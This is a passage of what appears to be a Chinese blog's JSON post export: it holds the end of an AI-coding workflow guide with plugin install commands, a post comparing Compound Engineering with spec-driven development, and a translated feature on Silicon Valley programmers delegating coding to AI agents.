Review\n○🩹 快速修补 (十万火急)：Codebase → Work\n⚠️ 避坑指南： 即使使用短流程，也要记得定期执行 Compound (/gsd:map-codebase) 沉淀知识，防止“实现漂移”死灰复燃！\n八、 建立知识沉淀体系（动静分离策略） 通过上述 Workflow，项目会自然沉淀出两类核心资产，我们称之为动静分离：\n1.🔄 Codebase 文档 (动态，全队共享)\n由 /gsd:map-codebase 自动刷新，包含项目结构、模块关系、依赖分析。它是 AI Agent 的“实时地图”。\n2.📌 CLAUDE.md / AGENTS.md (静态，手动维护)\n用于兼容不同 AI 工具的内容一致性文件。主要记录开发规范、技术约束、业务规则和“绝对禁区”。不频繁变更。\n(除这两者外，其他过程文档在开发结束后可直接删除或归档。)\n九、 驾驭工程的核心：上下文工程 有工具还不够，AI 编程的终极壁垒是：将隐性知识转化为显性知识。\n不要指望 AI 自己去翻代码找表结构，这不仅慢而且容易错。我们需要主动投喂“AI 友好的知识形态”（Context Engineering）。\n✅ AI 喜欢的格式：\n○.md Markdown 文件 (如 PRD 文档)\n○.sql 数据库脚本 / 表结构导出\n○结构化的 Schema / JSON / YAML (如 UI 交互描述)\n○CLI 命令行工具 / Bash 脚本\n❌ AI 讨厌的格式：\n○Word、Excel、PPT 等非结构化办公文档。\n落地建议： 团队需建立规范，确保业务规则、设计图和数据结构在进入工作流前，已被转化为上述机读友好的格式。这是划定 AI 操作边界、消除幻觉的关键。\n🛠️ 附录：工具链安装避坑指南 为了方便大家上手，我们整理了三大工具的安装差异。整体结论：建议统一使用 Claude Code 执行工作流，支持度最好。\n工具 Claude Code 安装姿势 Codex 安装姿势 差异与踩坑点 GSD npx get-shit-done-cc --claude --global (或 --local) npx get-shit-done-cc --codex --global (或 --local) 同一个 installer，Codex 侧是 skills-first，最省事。 superpowers /plugin install superpowers@claude-plugins-official 需 clone 仓库 + 建立 symlink 到 Codex skills 目录。详见 Codex 官方文档 明显 Claude-first，Codex 需要繁琐的手工安装。 compound-engineering 先 /plugin marketplace add EveryInc/compound-engineering-plugin 再 /plugin install compound-engineering bunx @every-env/compound-plugin install compound-engineering --to codex Claude 是原生插件；Codex 是转换安装（且官方标明为 experimental）。 🔗 传送门：\n○GSD: https://github.com/gsd-build/get-shit-done\n○superpowers: https://github.com/obra/superpowers\n○compound-engineering: https://github.com/EveryInc/compound-engineering-plugin\n","date":"2026-03-30T11:58:33Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-30-gan-huo-qing-liang-ji-jia-yu-gong-cheng-ai-coding-workflow-z/cover.jpg","permalink":"/p/2026-03-30-gan-huo-qing-liang-ji-jia-yu-gong-cheng-ai-coding-workflow-z/","title":"干货 | 轻量级驾驭工程：AI Coding Workflow 最佳落地实践"},{"content":"比 SDD 更轻、比 Vibe Coding 更稳：最近很火的 Compound Engineering，到底是什么？ 这两年，AI 编程圈越来越像在两个极端之间摇摆：一边是“想到什么就让 AI 直接写”的 Vibe Coding，速度很快，但经常越写越乱；另一边是像 SDD 这样的重流程方法，先写规格、再做计划、再拆任务，明显更稳，但对很多日常迭代来说又有点重。也正是在这个背景下，Every 提出的 Compound Engineering 开始被越来越多人讨论。\nEvery 对它的定义非常明确：它不是一次性的“让 AI 帮你写代码”，而是一套循环式工作法——Plan → Work → Review → Compound → Repeat。Every 特别强调，前面三步很多工程师都熟悉，真正把它和传统开发区分开的，是第四步 Compound：把这次工作的经验、规则和模式沉淀下来，让下一轮更容易、更稳定。\n我更愿意把 Compound Engineering 翻成 复利式工程。因为它想表达的重点，不是“复合”，而是“复利”：今天做完一个需求，不只是产出一段代码，而是顺手把这次有效的方法、踩过的坑、适合你代码库的规则一起沉淀下来。\n如果跳过 Compound 这一步，你做的其实还是“带 AI 辅助的传统开发”；只有把经验真正回写到系统里，收益才会不断累积。复利式工程里，80% 的时间应该花在 Plan 和 Review 上，真正写代码和沉淀反而只占 20%。这背后的逻辑很简单：AI 写代码越来越快，开发者真正稀缺的能力，不再是手敲速度，而是规划质量和复盘能力。\n那它和 SDD 的区别到底在哪？ SDD 的核心是“先把需求和边界说清楚”，复利式工程的核心是“让每一轮开发都为下一轮积累资产”。\nGitHub 在介绍 Spec Kit 时，把 SDD 定义成一种“让 spec 成为工程中心”的方法：不是先写代码、后补文档，而是先写 spec，把它作为共享真相，再由 spec 驱动计划、任务拆解、实现与验证。整个过程是分阶段推进的，而且每一阶段没验证完，不进入下一阶段。这意味着 SDD 更像一套规格驱动的工程方法，而 Compound Engineering 更像一套强调循环、反馈和经验复利的工作法。前者更适合高不确定性的大功能、多人协作和正式项目；后者更适合持续迭代、日常开发、频繁修复和长期演进。\n换句话说，SDD 更像“先把地图画清楚再出发”，而 Compound Engineering 更像“每走完一段路，都顺手把路修得更好”。这也是为什么很多人会觉得 SDD “更专业”：因为它天然更正式、更有边界、更适合把复杂需求讲清楚；但复利式工程并不是不专业，它只是没把重心放在“写出一份完整规格”上，而是放在“形成稳定循环，并持续让系统学会更多东西”上。\n它的推荐流程是 Brainstorm → Plan → Work → Review → Compound → Repeat，并为每一步提供了对应命令，比如\n●/ce:brainstorm 用来澄清需求和方案\n●/ce:plan 用来形成实施计划\n●/ce:work 执行代码改动\n●/ce:review 做多代理审查\n●/ce:compound 记录经验，让未来的工作更容易。\n如果你想试一试，它的上手门槛其实不高。Every 的官方插件可以直接安装到 Claude Code；仓库同时还提供了转换安装方式，能把这套插件能力转换到 Codex、Copilot、Gemini、OpenClaw、Windsurf 等环境中。实际使用时，我建议不要把它理解成“又一个新框架”，而要把它理解成一种固定节奏：\n●先 brainstorm，把问题和方案空间摸清；\n●再 plan，把变更范围、文件、约束和验证方式写明白；\n●接着 work，让 AI 按计划执行；\n●然后 review，审查结果和遗漏；\n●最后 compound，把这轮真正有效的经验写回规则、命令、技能或文档里\n这样做的价值不在于某一次写得多快，而在于代码库会越来越顺手，AI 也会越来越“懂你”\n优缺点 它的优点很明显。\n1.第一，它比纯聊天式 AI 编码稳得多，因为它强制加入了计划和复盘。\n2.第二，它又比完整 SDD 轻，尤其适合中小功能、日常修复和产品迭代。\n3.第三，它最有价值的地方是“积累性”：不是每次都从零开始，而是让经验沉淀下来，形成真正的团队资产。\n缺点也同样清楚：如果团队没有 review 习惯，或者总是赶时间跳过 compound，那它很快就会退化成“稍微有点流程的 Vibe Coding”；另外，它虽然比 SDD 轻，但对开发者判断力要求并不低，因为你得知道哪些经验值得固化，哪些只是一次性的临时解法。\n所以，我的结论其实很简单：不要把 Compound Engineering 和 SDD 看成非此即彼。 真正成熟的做法，往往是两者结合。\n●大需求、新模块、多人协作，用 SDD 先把规格立住；\n●小步迭代、连续修复、长期产品打磨，用复利式工程把循环跑顺。\n前者解决“起点要正确”，后者解决“每一步都越来越顺”。在 AI 编程越来越强的时代，真正拉开差距的，恐怕不再是谁能让模型多写几百行代码，而是谁能把一次次零散输出，组织成一个会持续增值的工程系统\n","date":"2026-03-14T23:30:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-14-bi-sdd-geng-qing-bi-vibe-coding-geng-wen-zui-jin-hen-huo-de-/cover.jpg","permalink":"/p/2026-03-14-bi-sdd-geng-qing-bi-vibe-coding-geng-wen-zui-jin-hen-huo-de/","title":"比 SDD 更轻、比 Vibe Coding 更稳：最近很火的 Compound Engineering，到底是什么？"},{"content":"在 AI Agent 时代，许多硅谷程序员已经几乎不再亲手写代码了 本文翻译自：https://www.nytimes.com/2026/03/12/magazine/ai-coding-programming-jobs-claude-chatgpt.html\n最近，Manu Ebert 一直在想办法，别让自己的 AI 把自己“搞得很丢人”。\n我前不久去拜访了 Ebert。他是一位机器学习工程师，曾经还是神经科学家。如今，他和 Conor Brennan-Burke 一起经营一家创业公司 Hyperspell，办公地点就在他们住处的一间空公寓里。39 岁的 Ebert 个子很高，留着短胡子，气质很像欧洲学者。他坐在一台巨大的曲面显示器前，屏幕上，Anthropic 的 Claude Code 正忙个不停：一个 agent 在写新功能，另一个在测试，第三个则像虚拟工头一样盯着全局。几分钟后，Claude 弹出提示：“实现完成！”\nEbert 是在 1990 年代长大的，那时候学编程还是最传统的方式：一行一行地手敲代码。大学毕业后，他在 Airbnb 等硅谷公司做过软件开发，也先后参与创办过四家创业公司。那时的软件开发意味着：整天弓着背坐在键盘前，反复琢磨复杂细节，小心翼翼避免出错。\n这一切在去年秋天基本结束了。AI 写代码的能力已经强到让他这个原本很谨慎的人，也开始一点点放手。现在，Claude Code 已经承担了大部分编码工作。它的速度极快，而且通常也足够准确。前不久，有客户希望 Hyperspell 增加一段新功能代码，Claude 半小时就写完了。若放在从前，“光这部分我就得写一天。”Ebert 说。\n他和 32 岁的 Brennan-Burke 当然仍然是软件开发者，但和如今大多数同行一样，他们已经很少真的亲手写代码了。相反，他们每天做的事更像是在和 AI 对话：用自然语言描述需求，阅读 AI 给出的执行计划，再把 agent 放出去干活。\n当然，AI 毕竟是 AI，偶尔也会跑偏。有时候 Claude 表现不好，没有按要求运行测试，Ebert 就会像训人一样训它：“Claude，你真的必须把所有测试都跑完。”\n为了避免这些错误反复出现，Ebert 在自己的 prompt 文件里写下了一整套严厉的规则，几乎像是给 agent 立的“十诫”。如果你去看一个使用 AI. 编程的开发者的 prompt 文件，你看到的，其实就是一个人试图约束那些总体上很能干、却又时不时会偏离轨道的 agent 的过程。\n我看了 Ebert 的 prompt 文件。其中有一条要求非常明确：任何新代码在进入 Hyperspell 的正式产品之前，都必须通过全部测试。还有一条针对 Python 测试工具 pytest 的提示尤其引人注意：“提交无法通过 pytest 的代码，是不可接受且令人尴尬的。”\n“令人尴尬”？我忍不住问他，这种措辞真有用吗？告诉 AI. 别让你“丢脸”，真的能提高表现？\nEbert 有点不好意思地笑了。他没法证明，但他觉得，这类提示似乎确实让 Claude 稍微更听话了一点。\n这并不是个例。如今很多软件开发者都会斥责自己的 AI agent、恳求它、把关键命令全用大写，甚至像催眠师一样把同一句话重复很多遍，然后发现：AI 好像真的变得更服从了一点。这种戏剧化的写法看起来多少有点荒唐，但大语言模型说到底就是“语言机器”，“令人尴尬”这种词，很可能真的给它传递了一种紧迫感。\nEbert 说：“如果你对它说，‘这件事关系到国家安全，你必须把这个测试写出来’，它就像是突然意识到这件事的分量变重了。”\nBrennan-Burke 也插了一句：“你还记得那个研究吗？说你对模型越不客气，它表现反而越好。”两个人都笑了起来。\n计算机编程在过去 80 年里经历过许多变化，但眼前这一轮，也许是最诡异的一次：它正在变成一种对话，一场程序员与机器人之间来来回回的密集交流。\n编程这门“手艺”，正在被自动化 这种急剧变化，可能带来巨大的经济后果。\n几十年来，写代码一直被视为某种“现代巫术”。只要你能力过得去，几乎就能稳拿一生的饭碗；如果你特别厉害，再加上运气好，甚至还能发财。2010 年代，硅谷的大人物们还常常对那些处在衰退行业中的美国工人说：你们得去“学编程”。\n可如今，连编程本身都开始被自动化了。\n站在圈外人视角看，这一幕甚至带着一点黑色幽默：多年来，美国白领一直担心，硅谷会不会有一天用 AI. 自动化掉他们的工作；结果最先被冲击的，居然正是硅谷程序员自己。\n而且，代码可能还是第一类真正能被 AI. 替代的“高薪、规模化脑力劳动”。A.I. 生成的视频还常常显得别扭，AI 生成的图片也常常透着怪异；AI 写的法律文书甚至可能出现足以毁掉职业生涯的低级错误。但 AI 写的代码不一样：只要它能通过测试、能正常运行，它的价值就和那些年薪 20 万美元甚至更高的人类程序员写出来的代码没什么区别。\n你或许以为，这会让程序员极度不安、士气低落。确实有一部分人如此。但我在去年秋冬采访了许多开发者，大多数人的反应却是：他们对自己突然获得的新能力，兴奋得有点异常。\n资深程序员 Steve Yegge 告诉我：“我的生产力至少提升了 10 倍、20 倍，甚至 100 倍，这是我整个职业生涯里从来没有体验过的。”他说，过去大家一直像是在用双腿走路，而现在像是突然坐上了一辆速度快得离谱的车。\n但就像很多同行一样，Yegge 也说不清这对这个行业的未来到底意味着什么。几十年来，做软件开发意味着掌握编程语言；而现在，一种“语言技术”本身，正在颠覆这个职业的性质。\n为什么程序员反而比别人更欢迎 AI ？ 软件开发者对生成式 AI 的热情，与其他美国人形成了鲜明对比。民调显示，大多数人对大语言模型要么中立，要么怀疑；很多创意行业从业者甚至非常愤怒。\n程序员为什么相对更乐观？长期从事编程和科技管理工作的 Anil Dash 认为，这是因为他们遇到 AI 的方式，与很多其他职业恰恰相反：\n“在创意工作里，LLM 拿走的是最有灵魂、最属于人的部分，却把枯燥脏活留给你；而在编程里，LLM 拿走的是最枯燥的部分，把更有人味、更接近创造和判断的部分留给了你。”\n这话很有道理。因为从历史上看，编程其实一直是件很苦的差事。\n电影里，程序员总是手速飞快、激情四射地敲代码；现实中，写软件从来都是一件缓慢、磨人、令人沮丧的事。你写了几行代码，一个小函数刚写完，结果发现只因为漏了一个冒号，整个程序就跑不起来。随着公司的代码库越来越大，几十个、几百个、上千个函数互相影响，你可能要花几个小时、几天，甚至几个星期，去排查到底是哪个细小错误把整个系统卡死了。你写的一行代码，甚至可能把隔壁同事写的另一部分搞坏。\n几十年来，计算机工程师一直在努力自动化这些痛苦环节。行业里把这叫作“增加抽象层”：如果你经常不得不以一种繁琐、逐步展开的方式做某件事，那就把它自动化掉。\n早期的一种编程语言叫汇编语言，写起来极其艰难。那时计算机内存很小，程序员必须非常精细地管理每一块内存，连简单运算都要用很繁琐的方式一步步完成。到了 1980、1990 年代，随着计算机性能提升，工程师终于发明出像 Python 这样的高级语言，替程序员处理掉内存管理，还把很多常见任务封装成简洁命令。原本复杂的计算，如今只要一行代码就能写完。\n这就是抽象层的作用：它把底层复杂性隐藏起来，让写代码变得轻松得多。\n到了 2000 年代和 2010 年代，程序员又进一步把大量重复劳动抽象掉。几乎只要遇到一个费劲的任务，就会有人写出自动化工具，然后把它开源，供大家共享。今天大量软件开发，本质上就是开发者把别人写好的各种代码模块拼接组合起来。\n而有了 A.I. 之后，程序员又往上爬了一层抽象：他们不再直接用 Python、JavaScript 或 Rust 去表达逻辑，而是用自然语言描述“这个程序应该做什么”，由 agent 把人的意图翻译成代码。\n编程不再意味着你要时刻在脑子里维护一门语言的各种细节，也不再意味着你要亲自把算法写错、再一点点查找 bug。连这一层，也被抽象掉了。\n程序员，越来越像建筑师而不是泥瓦工 那么，剩下来的到底是什么？\nAnthropic 的 Claude Code 负责人 Boris Cherny 在今年 1 月与我见面时，几乎带着哲学意味地问了一个问题：“什么是计算？什么是编程？”然后他说：“这个问题很快就会变得非常哲学。”\n他的回答，与我采访过的大多数开发者都很相似：今天的程序员，越来越像建筑师，而不再像施工工人。\n使用 AI 的开发者，主要关注的是软件整体的形状：功能之间如何配合，系统结构是否合理，不同模块如何协作。因为 agent 能非常快地生成可运行的代码，所以人类监督者可以不断尝试、快速试错，看看什么方案有效，什么方案不行，再迅速丢掉不合适的版本。\n好几位程序员都告诉我，他们感觉自己有点像乔布斯：让团队不断产出原型，自己快速试用，然后凭感觉判断哪个对。开发者的工作正在从“亲自创造”，转向“高强度判断”。\nCherny 自己就经历过所有这些抽象层的变化。少年时代，他在加州自学过一点汇编语言，只为在计算器上写一个自动解数学作业的程序。而今天，他只需要掏出手机，对 Claude 口述自己想做什么。形成一种近乎自我吞噬的闭环：如今，Cherny 对 Claude 代码库的贡献，100% 都是 Claude 自己写出来的。\n我们聊天时，他的手机一直放在桌上。一个小时后他给我看屏幕：在这段时间里，10 个 Claude agent 一直在后台改动代码库。\n“我一行手写代码都没写，但我却成了团队里产出最多的程序员。”他说，“这是一种外星智能，我们正在学习如何与之合作。”\n新时代的核心能力：不是写，而是“会说” 对大多数我见到的程序员来说，学习与 AI 合作，本质上就是学习如何与 AI 说话。\n这构成了这个时代一个很反常的悖论：过去，编程往往是内向者的天堂，他们不太喜欢在工作中和别人多说话；而现在，他们的工作几乎变成了持续不断地和这种“外星生命体”聊天。\n当然，这种“说话”并不简单，也不是谁都能做。你不能只是对 agent 说一句：“给我做一个成功创业公司的产品代码。”它们最擅长的是一步一步完成任务；你一口气要求太多，它们很容易“失去主线”。\n旧金山创业者 Aayush Naik 说，幻想 AI 能在一个“大爆炸时刻”里一次性生成整个项目，是一种错觉。是的，它可以给你写 5000 行代码，但测试一下你就会发现，什么都跑不通。\n所有开发者都强调：这正是人类训练和经验仍然不可替代的地方。人类依旧要知道，一个大型代码库应该如何组织，系统怎样设计才可靠，也依旧要有能力判断 agent 输出的东西是否草率、低效或隐含风险。\n不过，相比律师、记者、设计师等职业，程序员有一个非常独特的优势：他们能把 AI 拉回现实，因为代码可以自动测试。你可以要求 agent 自证正确性。\n技术创业者、AI 编程博主 Simon Willison 说得很直白：“我觉得程序员已经算是最轻松的一群了。你要是律师，那才真惨。”因为 AI 写的法律文书，很难自动验证是否存在幻觉；而 AI 写的代码，至少还能跑测试。\n在创业公司里，A.I. 的效率提升几乎是爆炸式的 我在旧金山一间小公寓里见到了 Prox 的程序员 Dima Yanovsky。Prox 用 AI 帮助电商公司。25 岁的 Yanovsky 笑起来很快，整个人充满轻快感。他和从小一起长大的朋友 Gregory Makodzeba 去年创办了这家公司。两人都在乌克兰长大，家庭都从事航运相关行业。\n我见到他时，他正对着 Claude 不停下指令。好几个 agent 正在他桌上的笔记本电脑里并行工作。某一刻，其中一个 agent 开始“胡说八道”，坚持认为某张根本不存在的数据表是存在的。\nYanovsky 皱着眉看着屏幕，敲下一句颇为嫌弃的话：“谁告诉你会有这张表？我根本没建这张表。”\nClaude 用一种又蠢又开心的语气回复：“你说得对！我不应该假设这些表存在。”然后它开始重做。\n即使偶尔要返工，Claude 的速度仍然远远超过 Yanovsky。他甚至很难准确说出效率提高了多少。“20 倍？”他试探着说。过去要几周的工作，现在几个小时就能搞定。他认识的几乎所有硅谷创业者，都在经历类似的变化。如果你想迅速做出一家公司，今天已经几乎没人再全靠手写代码了。\n这种生产力飞跃，已经成了整个行业最惊人的现象之一。我自己也有体会：就在上周，我需要一个网页工具来清理一批杂乱的访谈转录文本，我用 AI 大约 10 分钟就做出来了。如果全靠自己写，至少得一个小时，甚至更久。\n不过，创业公司和像我这样自己做小工具的人，属于一个特殊场景：行业里把这叫做 greenfield，也就是“从零开始”的新项目。没有历史代码负担，一切都能重新设计。\n真正复杂的地方，是大公司的“棕地”代码库 绝大多数软件开发者，其实并不处在这种 greenfield 环境里。他们身处的是 brownfield，也就是成熟公司的“旧代码世界”：代码很多年前、甚至几十年前就写好了，规模已经达到数百万、数十亿行。\n在这种环境里，快速加新功能往往反而很危险，因为你新加的东西可能无意中与系统其他部分冲突，进而影响数百万用户依赖的核心功能。事实上，在很多成熟软件公司里，程序员过去本来就只花少部分时间真正写代码，有时一天甚至不到一小时。其余时间都用于规划、对齐优先级、开会、做代码评审和讨论进度。\n这就是“成功的代价”，也是为什么大型成熟软件公司，往往比小公司更慢。开发者写完新代码后，通常还要经历多轮代码评审、重写和测试。\n如果你想给大公司的 AI 效率提升下一个数字，那么 Google CEO Sundar Pichai 给出的数字是：10%。\n也就是说，Google 认为 AI 带来的“工程速度”提升，大约是 10%。Google 的高级产品总监 Ryan Salva 告诉我，这个数字是全公司的平均水平。有些工作，比如写一个简单测试，速度可能提升几十倍；而涉及大型改动时，提升就没那么夸张了。创业公司那里，接近 100% 的代码都可能由 AI 生成；在 Google，这个比例还不到 50%。\n我去加州桑尼维尔拜访 Salva 时，他现场给我演示了 Google 是如何把大语言模型融入工作流的。对于一个拥有数十亿行代码的公司来说，AI 的价值并不只是写新代码，更重要的是：帮助开发者理解既有代码到底在干什么。\nSalva 说：“AI 特别擅长进入一个你不熟悉的庞大代码区块，快速弄清楚里面发生了什么。”它还能帮助开发者跨语言工作，去处理自己原本并不熟悉的编程语言。\n结果就是，团队规模也开始变小。一年前，一件事可能需要 30 个人、每人负责一个细分领域；现在往往只需要 3 到 6 人的小组，就能更灵活地推进。因此，他们能消化更多积压任务。\nSalva 打开代码编辑器，给我展示了和 Gemini 一起工作的体验。AI 浪潮最初几年，AI 基本还是“human in the loop”，即人类始终紧盯、逐条确认，模型只做辅助。但现在 Google 的节奏正在变快，Gemini 已经开始更独立地写代码了。\n他举了一个例子：Google 的程序员经常会用不同账号登录 Gemini 的命令行界面，结果常常搞不清自己当前到底登录的是哪个账号。于是他输入一段需求：希望 Gemini CLI 里有一个命令，能让用户查看当前登录身份。\nGemini 花了几分钟理解需求，接着告诉 Salva 自己打算怎么做。Salva 点头同意后，它就开始后台干活。10 分钟后，他再看时，代码已经写完，Gemini 正在跑测试。\n然后 Salva 突然意识到，AI 有点“过于积极”了。\n“天啊，”他说，“它跑了 8000 个测试。”远超这个需求真正需要的范围。\n不过 15 分钟后，测试结束了。Salva 实际试了试这个新功能，结果它真的正确显示出了当前登录账号。他说：“还不错。”\n当然，这还只是一个最初演示，离真正进入 Google 的正式代码库，还要经过多轮代码评审、修改和验证。\nSalva 说了一句很关键的话：“作为工程师，我不太在乎模型第一次就给出完美答案。我更在乎的是，整个流程里有没有足够的验证环节，能让它最终得到正确答案。”\n所以，Google 那 10% 的速度提升，乍看似乎不算惊人，尤其是跟外界对 AI 的狂热相比。但 Salva 认为，这已经非常了不起了。\n“整个软件行业和媒体一起，确实把 AI 送进了一个巨大的 hype cycle（过热周期）。”但他同时也强调：“如果整个公司层面真能稳定提升 10% 效率，这已经夸张得不得了了。”\n在亚马逊，AI 正在扮演“半夜抢修工程师” 在那些庞大而古老的 brownfield 公司里，很多程序员更像数字世界的水管工，天天修系统漏水，而且还是随时可能爆的那种。\n在西雅图，我见到了 AWS Agentic AI 的高级首席工程师 David Yanacek。AWS 是数百万家公司数字基础设施的底座。如果服务器崩了，你可能就看不了 Netflix、打不了 Uber、玩不了 Fortnite。\nYanacek 显示器下方还摆着一个老式传呼机。以前亚马逊会用它在半夜把他叫醒处理事故；现在则换成了手机告警。但无论设备怎么变，核心要求都一样：出问题了，必须尽快修好。\n42 岁的 Yanacek 身形精干，灰胡子，整个人有种带电般的紧绷感。他说：“服务器运维真的很烦人。虽然我其实很喜欢，但它也确实烦，而且是没完没了的那种烦。”\n他们团队多年来一直在做自动化，以便更快定位故障。但大语言模型带来了更强的新能力，因为 AI 同时懂人类语言和编程语言：它能读懂错误报告，也能直接分析代码，甚至在睡眼惺忪的工程师完全清醒之前，就先准备好修复方案。\n我在场时，Yanacek 看了一眼屏幕，发现 11 分钟前某个演示应用触发了错误告警，而亚马逊的 AI 已经找出问题并生成了一份简短分析：最近有一段代码改动新增了一个时间戳字段，但代码库中的另一部分并没有预期这个字段存在，于是触发了“unexpected field”错误。\nYanacek 看了看 AI 给出的修复建议，想了几秒钟，然后按下回车批准执行。\n他说，这个 AI 大约用了 8 分钟就分析清楚了。“等我把笔记本打开的时候，它都已经准备好了。”\n有个客户最近告诉他，类似问题，亚马逊的 AI agent 15 分钟就修好了；而几个月前，几乎同样的问题，整个工程师团队花了 8 个小时才调通。\n在亚马逊的其他部门，brownfield 工程师还在用 AI 帮忙改造旧代码。有些代码已经存在几十年，需要优化、重构，甚至彻底换成现代语言重写。这类工作关键却脆弱，像在做心脏移植。\n高级首席工程师 McLaren Stanley 最近就重写了一段自己多年前写的代码。第一次写这段代码时，他花了整整一个月；而这次，在亚马逊内部 AI 的帮助下，一个上午就完成了。他说，AI 最大的价值之一，是让他能更轻松地试验那些自己一直想做、过去却没有精力做的想法。\n“那些我一直想做的事，现在只需要一段六分钟的对话，再加一句‘去做吧’。”\n程序员依然快乐，但快乐的来源正在变化 我写程序员这个群体，已经写了很多年。过去，他们总会热情洋溢地描述一种快感：通过神秘晦涩的指令，让机器“活”起来。虽然过程令人崩溃，一个 bug 可能要追几小时、几天甚至几周，但正因为这么难，等程序终于跑通时，那种满足感也格外强烈。\n所以我很惊讶，竟然有那么多软件开发者告诉我：他们很高兴自己不再需要亲手一行行写代码了。\n他们说，即使是 AI 在写代码，他们仍然能感受到那种成功带来的刺激。\n软件行业传奇人物 Kent Beck 从 1972 年就开始写代码。他说：“我爱编程，我爱进入那种心流状态，我爱想大问题，我爱创造本身。”十年前，他几乎不怎么写软件了，因为当时的新语言和新工具让他越来越挫败。但 LLM. 又把他重新拉了回来。现在，他做的项目比以前更多：个性化笔记应用、新型数据库，层出不穷。\n甚至连 AI 输出的不确定性，也会让他上瘾。因为你让它写一段代码，它每次可能都用稍有不同的方式完成。这种感觉，“像老虎机一样让人上头”。\n当然，也有少数程序员明确表达了失落。\n一位苹果工程师告诉我，他非常怀念那种亲手雕琢代码的感觉。他说：“我相信这件事本来是有趣的、充实的、让人投入的。现在让计算机代劳，你就失去了这一部分。”他还说，自己做程序员，并不是为了赚很多钱或爬职业阶梯，而是因为这本来就是他的热情。“我不想把这份热情外包出去。”\n他也担心，AI 正在把开发工作变得越来越原子化、越来越孤立。过去，开发者遇到难解的 bug，会去问同事；现在，他们直接问 agent。只是，在苹果内部，公开表达这种看法的人已经不多了。\n反对者并不多，但反对得非常激烈 那些仍然主动拒绝使用 AI 的程序员，人数可能不算多，但立场通常很激烈。\n有的人反感训练和部署模型所消耗的大量能源；有的人反对科技公司用大量受版权保护的作品训练模型；也有人怀疑，AI 的高速产出最终会让公司积累出一大堆松散、臃肿、性能不佳的代码。还有人担心，科技老板会把 agent 当成一根棍子来威胁员工：别闹情绪，我们完全可以用机器人替代你。\n芝加哥开发者、Fly.io 联合创始人 Thomas Ptacek 说，他看过那些热爱 A.I. 的开发者和极端反对者之间的争论，简直像一场“内战”。\n他自己处在中间立场。他认为，那些坚称“AI 根本不行，也永远不可能行”的人，其实是在自我欺骗。但他也并不天真。他说：“LLM. 在编程上大概率会赢，但我不知道这对我们意味着什么。那些担心它会重创这个职业的人，也许并没有说错。”\n最先被冲击的，可能是初级程序员 AI 对就业前景的冲击，确实可能非常严峻，尤其是对刚入行的人。\n过去，公司会招聘大量初级开发者，让他们去承担那些琐碎、重复、基础的工作，为高级工程师减负。但如果一个高级工程师现在可以借助一整支不知疲倦的代码幽灵军团大幅提升效率，那公司为什么还要雇一个新手来做这些事？\n过去几年，硅谷已经经历了一轮大裁员。2010 年代，科技公司大举扩张，疯狂招人；疫情初期，招聘岗位一度激增。但随后形势急转直下，职位发布数量暴跌。根据 Layoffs.fyi 的统计，过去四年里，科技行业已有超过 70 万人被裁掉。\n多数观察者认为，最早那一波裁员并不是 AI 导致的，因为当时 AI 还没强到足以替代程序员。更重要的原因包括：利率上升，科技公司失去了廉价扩张资金；此前过度招聘，现在开始去库存；再加上一些高管看到马斯克收购 Twitter 后大幅裁员，也在想，也许自己公司也不需要那么多工程师。\n但现在，越来越多迹象显示，AI 确实正在侵蚀初级编程岗位。\n斯坦福数字经济实验室主任、经济学家 Erik Brynjolfsson 去年与同事做了一项研究：他们按年龄层和工作被 AI 替代的难易程度，对多个行业进行了分析。结果发现，计算机程序员是“AI 暴露度”最高的职业之一，而且初级开发者受冲击最明显。自 2022 年以来，22 岁到 25 岁这一最可能刚进入行业的年龄段，其岗位数量下降了 16%；而更年长的程序员并没有出现显著下降。\n当然，我采访过的几乎所有科技高管，不管是大厂还是中小公司，都向我保证，AI 不会让他们停止招募优秀新人。原因也很简单：哪怕现有开发者效率提高了，他们想做的事情依旧比能做完的多得多。\nGoogle 高级副总裁 Jen Fitzpatrick 就说：“我在 Google 这么多年，从没见过哪个团队的问题是‘我们已经没有好点子了’。真正的问题永远是：我们想做的事，比我们当前能完成的，多出九英里那么长。”\n甚至还有不少开发者认为，软件岗位总量未必会减少，反而可能增加。因为全国范围内有无数中小公司，其实一直都很想拥有定制软件，只是以前根本请不起一个五人程序员团队来做。现在，如果他们只需要雇一个被 AI 增强过的开发者，甚至只用雇一个兼职开发者，就能完成同样的事，那么软件需求反而会变得更多。\n这其实就是 Brynjolfsson 所说的“杰文斯悖论”：当一件事变得更便宜时，人们通常不会只把钱省下来，而是会去做更多这件事。\n当然，也可能出现另一种现实：软件岗位还在，但工资不再像过去那么高，因为工作的难度毕竟下降了，技能门槛也被拉低了。\n如果新人不再亲手写代码，他们还会真正学会编程吗？ 这又引出了一个更令人不安的问题。\n许多中生代程序员告诉我，他们之所以敢放心使用 AI，是因为自己花了几十年培养出了一种对“好代码”的直觉：知道高质量代码大概长什么样，知道如何向 agent 准确表达需求，也能在 agent 写出低效、粗糙或奇怪的代码时，一眼看出问题。\n可下一代怎么办？\n如果工作越来越少是“写”，越来越多是“评估”，那么新人要如何学会评估？如果他们不再亲自写足够多代码，他们还能形成那种直觉吗？\n有些年轻开发者已经感觉自己的能力在退化。\nPia Torain 是 Point Health A.I. 的软件工程师。她入职两年后，公司在 2024 年夏天要求她开始使用 GitHub Copilot 写代码。她说：“我后来意识到，只是四个月时间里，我每天写几百条 prompt，大概 500 条，我就已经开始失去自己写代码的能力了。”\n她后来停用了一阵子。现在，她仍然会让 AI 帮她写，但会仔细阅读输出，确保自己理解代码到底在做什么。“你不用它，你会落后；可你过度依赖它，你也会失去能力。”\n不过，Point Health 联合创始人 Rachel Gollub 没那么担心。她做软件开发快 40 年了，几十年来，程序员总在担心“这门手艺快完蛋了”。当年 Python 和 JavaScript 刚兴起时，它们把内存管理这类底层工作抽象掉，老派程序员也曾大声抱怨：不自己管理内存，这根本不算真正的编程！\nGollub 说，当时大家也都在喊：“你们会失去真正写代码的能力。”可后来呢？大量稳定、成熟、可靠的公司照样大量依赖 Python 这样的高级语言，运转良好。如今真正还必须自己精细管理内存的，只剩少数特定领域，比如算力受限设备开发。大多数软件行业早就已经往前走了。\n她认为，AI 工具最终也会经历同样的过渡：起初被质疑，后来成为默认。\n当编程越来越像“说话”，普通人也开始写软件了 如今，写代码已经被抽象到了如此之高的层次，以至于几乎任何人都可以打开一个大语言模型，描述自己想要什么应用。\n当然，复杂系统还不是谁都能做。但如果只是为了个人使用，做一个相对简单的小软件？AI 很可能真的能帮你做出来。\nMaxime Cuisy 